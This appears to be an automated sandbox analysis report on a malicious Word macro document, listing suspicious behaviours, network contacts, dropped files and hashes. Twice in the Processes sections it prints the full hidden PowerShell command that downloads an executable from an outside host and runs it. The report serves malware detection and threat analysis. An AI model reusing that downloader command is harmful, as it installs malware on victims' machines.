Analysis Overview
SHA256
caf470ee82450f8c4735002e31f671acf1b6ee335658ef96117f2970645e0f40
Threat Level: Known bad
The file 5e40ff4f7d71c5d7f15f3658f7f0f3e8_JaffaCakes118 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Office macro that triggers on suspicious action
Command and Scripting Interpreter: PowerShell
Drops file in Windows directory
Office loads VBA resources, possible macro or embedded object present
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-20 00:04
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-20 00:04
Reported
2024-07-20 00:07
Platform
win7-20240704-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5e40ff4f7d71c5d7f15f3658f7f0f3e8_JaffaCakes118.doc"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\9bk6.exe') {Remove-Item $env:APPDATA + '\9bk6.exe'}; $OEKQD = New-Object System.Net.WebClient; $OEKQD.Headers['User-Agent'] = 'USR-KL'; $OEKQD.DownloadFile('http://fast-cargo.com/PAYMENT_details.exe', $env:APPDATA + '\9bk6.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\9bk6.exe'); Stop-Process -Id $Pid -Force
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | fast-cargo.com | udp |
| US | 15.197.240.20:80 | fast-cargo.com | tcp |
Files
memory/1884-0-0x000000002F7D1000-0x000000002F7D2000-memory.dmp
memory/1884-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1884-2-0x00000000711ED000-0x00000000711F8000-memory.dmp
memory/1884-7-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-6-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-5-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-10-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-15-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-14-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-11-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-12-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-9-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-8-0x0000000000820000-0x0000000000920000-memory.dmp
memory/1884-27-0x00000000711ED000-0x00000000711F8000-memory.dmp
memory/1884-28-0x0000000000820000-0x0000000000920000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
| MD5 | 8e91edc8e9eea09edc2c16e9853af672 |
| SHA1 | 4e725f5ea832d84991708c93360cdf76a7281cad |
| SHA256 | e76b18f23354ebe1a488326b2d30657ea756f2e6f11abdf4704f7c846c2e3b62 |
| SHA512 | 37d77c94cf551b23e16dfb2df4c095d68a3c2c68036f50602e427caa10bc658153c30ee64ec24b5b350b59c5364261cc5e448b65ba38857d3d0b8906c1f44d43 |
memory/1884-43-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1884-44-0x00000000711ED000-0x00000000711F8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-20 00:04
Reported
2024-07-20 00:07
Platform
win10v2004-20240704-en
Max time kernel
143s
Max time network
127s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1332 wrote to memory of 2556 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1332 wrote to memory of 2556 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5e40ff4f7d71c5d7f15f3658f7f0f3e8_JaffaCakes118.doc" /o ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\9bk6.exe') {Remove-Item $env:APPDATA + '\9bk6.exe'}; $OEKQD = New-Object System.Net.WebClient; $OEKQD.Headers['User-Agent'] = 'USR-KL'; $OEKQD.DownloadFile('http://fast-cargo.com/PAYMENT_details.exe', $env:APPDATA + '\9bk6.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\9bk6.exe'); Stop-Process -Id $Pid -Force
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | fast-cargo.com | udp |
| US | 15.197.240.20:80 | fast-cargo.com | tcp |
| US | 8.8.8.8:53 | 20.240.197.15.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 174.117.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.17.209.140:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.24:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 140.209.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.170.16.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
memory/1332-0-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-1-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-2-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-3-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-4-0x00007FFC5F44D000-0x00007FFC5F44E000-memory.dmp
memory/1332-7-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-6-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-5-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-8-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-9-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-10-0x00007FFC1CBF0000-0x00007FFC1CC00000-memory.dmp
memory/1332-11-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-14-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-13-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-15-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-16-0x00007FFC1CBF0000-0x00007FFC1CC00000-memory.dmp
memory/1332-12-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-18-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-17-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-19-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-41-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-47-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-52-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-48-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/2556-53-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/2556-54-0x000001F146D80000-0x000001F146DA2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51pnatms.xzw.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Roaming\9bk6.exe
| MD5 | e89f75f918dbdcee28604d4e09dd71d7 |
| SHA1 | f9d9055e9878723a12063b47d4a1a5f58c3eb1e9 |
| SHA256 | 6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023 |
| SHA512 | 8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0 |
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
| MD5 | d29962abc88624befc0135579ae485ec |
| SHA1 | e40a6458296ec6a2427bcb280572d023a9862b31 |
| SHA256 | a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866 |
| SHA512 | 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f |
memory/2556-84-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | 856d29ed80c98020fb3a982b5bddd602 |
| SHA1 | 7cef913f0995ef32b56b42c60bcb64e134729183 |
| SHA256 | 3a189ffef516d41e986efa4977e3a63eac037f47307f3f1ed5f5e42d6f174164 |
| SHA512 | 6affce071fde9a220c7b859a129ec2fad8d364cb3c74d0582609a187f88252fb8e068a25690e43af7b81778a63a27c7e4c13342d44ffad82261715e500b92f9e |
C:\Users\Admin\AppData\Local\Temp\TCDCE36.tmp\sist02.xsl
| MD5 | f883b260a8d67082ea895c14bf56dd56 |
| SHA1 | 7954565c1f243d46ad3b1e2f1baf3281451fc14b |
| SHA256 | ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353 |
| SHA512 | d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e |
memory/1332-210-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-211-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-212-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp
memory/1332-230-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-231-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-233-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-232-0x00007FFC1F430000-0x00007FFC1F440000-memory.dmp
memory/1332-234-0x00007FFC5F3B0000-0x00007FFC5F5A5000-memory.dmp